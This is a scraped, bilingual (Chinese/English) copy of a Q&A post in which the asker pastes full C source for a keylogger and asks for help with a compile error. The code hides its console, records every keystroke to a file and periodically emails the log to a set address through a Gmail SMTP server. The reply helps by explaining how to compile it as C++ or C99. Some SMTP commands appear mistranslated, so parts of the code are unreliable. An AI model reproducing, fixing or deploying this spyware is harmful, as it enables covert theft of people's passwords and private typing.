简体   繁体   English

键盘记录程序代码错误。 你能帮我吗?

[英]Error in keylogger code. Would you help me?

I am updating a C ++ code from a keylogger in the DEV-C ++ IDE yet some of the code is not compiling.我正在从 DEV-C ++ IDE 中的键盘记录器更新 C ++ 代码,但某些代码未编译。 I would like help to fix this error.我想帮助解决这个错误。 My code:我的代码:

#include <stdio.h>
#include <windows.h>
#include <time.h>

#define INVISIBLE_CONSOLE 0 
#define SILENT_CONSOLE 0 

#define LISTENER_TIMER 5
#define SENDER_SLEEP_TIME 100 

#define FILE_NAME "MarcadorLog.txt"

#define GMAIL_SERVER "gmail-smtp-in.l.google.com"
#define EMAIL_FROM "teste@gmail.com"
#define EMAIL_TO "teste@gmail.com"

void verifyStealthMode();
void savePressedKey(char pressedKey, char fileName[]);
int getPressedKeyBetweenASCII(int ASCIIValue1, int ASCIIValue2);
int getFileLength(char fileName[]);
char *getBufferFromFile(char fileName[]);
void overrideFile(char fileName[]);
void sendData(SOCKET socket, char data[]);
void sendEmail(char server[], char from[], char to[], char buffer[]);

void verifyStealthMode() {
    if(INVISIBLE_CONSOLE) {
        HWND stealth;
        AllocConsole();
        stealth = FindWindowA("ConsoleWindowClass", NULL);
        ShowWindow(stealth, 0);
    }
}

void savePressedKey(char pressedKey, char fileName[]) {
    FILE *file = fopen(fileName, "a+");

    fputc(pressedKey, file);
    fclose(file);
}

int getPressedKeyBetweenASCII(int ASCIIValue1, int ASCIIValue2) {
    int pressedKey = 0;

    for(int character = ASCIIValue1; character <= ASCIIValue2; character++) {
        if(GetAsyncKeyState(character) == -32767) {
            pressedKey = character;
        }
    }

    return pressedKey;
}

int getFileLength(char fileName[]) {
    FILE *file = fopen(fileName, "rb");

    fseek(file, 0, SEEK_END);

    int fileLength = ftell(file);

    fclose(file);

    return fileLength;
}

char *getBufferFromFile(char fileName[]) {
    FILE *file = fopen(fileName, "rb");

    int fileLength = getFileLength(fileName);

    char *buffer = (char *) malloc(fileLength + 1);

    fread(buffer, sizeof(char), fileLength, file);

    buffer[fileLength] = '\0';

    fclose(file);

    return buffer;
}

void overrideFile(char fileName[]) {
    FILE *file = fopen(fileName, "w");

    fclose(file);
}

int main() {
    verifyStealthMode();

    clock_t timer;
    clock_t now = clock();

    while(1) {
        int pressedKey = getPressedKeyBetweenASCII(8, 255);

        if(pressedKey) {
            savePressedKey(pressedKey, FILE_NAME);

            now = clock();
        }

        timer = (clock() - now) / CLOCKS_PER_SEC;

        if(timer > LISTENER_TIMER) {
            int fileLength = getFileLength(FILE_NAME);

            if(fileLength > 0) {
                sendEmail(GMAIL_SERVER, EMAIL_FROM, EMAIL_TO, getBufferFromFile(FILE_NAME));

                overrideFile(FILE_NAME);
            }

            now = clock();
        } else if(!SILENT_CONSOLE) {
            system("cls");
            printf("Lendo...");
            printf("\nTime para novo envio: %ld\n\n", (LISTENER_TIMER - timer));
        }
    }

    return 0;
}

void sendData(SOCKET sock, char data[]) {
    send(sock, data, strlen(data), 0);
    Sleep(SENDER_SLEEP_TIME);

    if(!SILENT_CONSOLE) printf("\n%s", data);
}

void sendEmail(char server[], char from[], char to[], char buffer[]) {
    SOCKET sock;
    WSADATA wsaData;
    struct hostent *host;
    struct sockaddr_in dest;

    char data[3000];

    // Get socket and dest:
    WSAStartup(0x202, &wsaData);

    host = gethostbyname(server);

    memset(&dest, 0, sizeof(dest));
    memcpy(&(dest.sin_addr), host->h_addr, host->h_length);

    dest.sin_family = host->h_addrtype;
    dest.sin_port = htons(25);

    sock = socket(AF_INET, SOCK_STREAM, 0);

    connect(sock, (struct sockaddr *) &dest, sizeof(dest));
    Sleep(SENDER_SLEEP_TIME);

    sprintf(data, "Ola me.somepalace.com\n");
    sendData(sock, data);

    sprintf(data, "Email de: <%s>\n", from);
    sendData(sock, data);

    sprintf(data, "recebido por: <%s>\n", to);
    sendData(sock, data);

    sprintf(data, "DATA\n");
    sendData(sock, data);

    sprintf(data, "para: %s\nFROM: %s\nSUBJECT: Keylogger\n%s\r\n.\r\n", to, from, buffer);
    sendData(sock, data);

    sprintf(data, "sair\n");
    sendData(sock, data);

    if(!SILENT_CONSOLE) {
        printf("\ntodos os pacotes foram enviados");
        Sleep(5000);
        system("cls");
    }

    closesocket(sock);
    WSACleanup();
}

This is the error line that the IDE selects:这是 IDE 选择的错误行:

for(int character = ASCIIValue1; character <= ASCIIValue2; character++) {

These are the two notes that appear in the compiler:这些是出现在编译器中的两个注释:

[Error] 'for' loop initial declarations are only allowed in C99 or C11 mode. [错误] 'for' 循环初始声明只允许在 C99 或 C11 模式下使用。

[Note] use option -std=c99, -std=gnu99, -std=c11 or -std=gnu11 to compile your code. [注意] 使用选项 -std=c99, -std=gnu99, -std=c11 或 -std=gnu11 来编译你的代码。

It seems you're compiling your program as C, and an older C dialect at that (which required declarations to live at the top of functions).看来您正在将程序编译为 C 和较旧的 C 方言(需要声明才能位于函数的顶部)。

Ensure that your IDE is configured to recognise your source code as C++, eg by giving the file a name ending in .cpp rather than .c .确保您的 IDE 配置为将您的源代码识别为 C++,例如通过为文件指定一个以.cpp而不是.c结尾的名称

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

相关问题 您好,我的代码中有语法问题。 你能帮助我吗? - Greetings, I have a syntax problem in my code. Can you help me? 有人可以帮我修改此代码。 我正在尝试显示棋盘格C ++ QT - can someone help me modify this code. I'm trying to Display a checkerboard C++ QT 你能帮我清除这个错误吗 - Can you help me clear this error 我将如何向此代码添加构造函数。 - How Would I add a constructor to this code. 你能帮我理解这个C ++模板代码吗? - Can you help me understand this C++ template code? 您能帮我将互斥对象应用于此代码吗? - Can you help me apply a mutex object to this code? 任何人都建议我在这段代码中留下了什么。 运行时没有报错,但是output自带垃圾值 - Anyone suggest me what I left in this code. No error is shown while running, but the output comes with garbage value 你会怎么解决这个问题? 老式学生/课程/学校代码。 这是我的方法: - How would you go about solving this? Old-Fashion Student/Course/School Code. Here's my approach: 需要帮助解决万向节代码中的 Arduino 代码错误 [-Woverflow]。 我不确定如何解决或是否禁用偏航 - Need help resolving Arduino Code error [-Woverflow] in gimbal code. I am not sure how to resolve or if to disable yaw 为什么错误消息会暂停代码。 以及如何阻止代码在 C++ 中的错误消息处暂停? - Why does an error message pause code. and how can you stop the code from pausing at the error message in C++?
 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM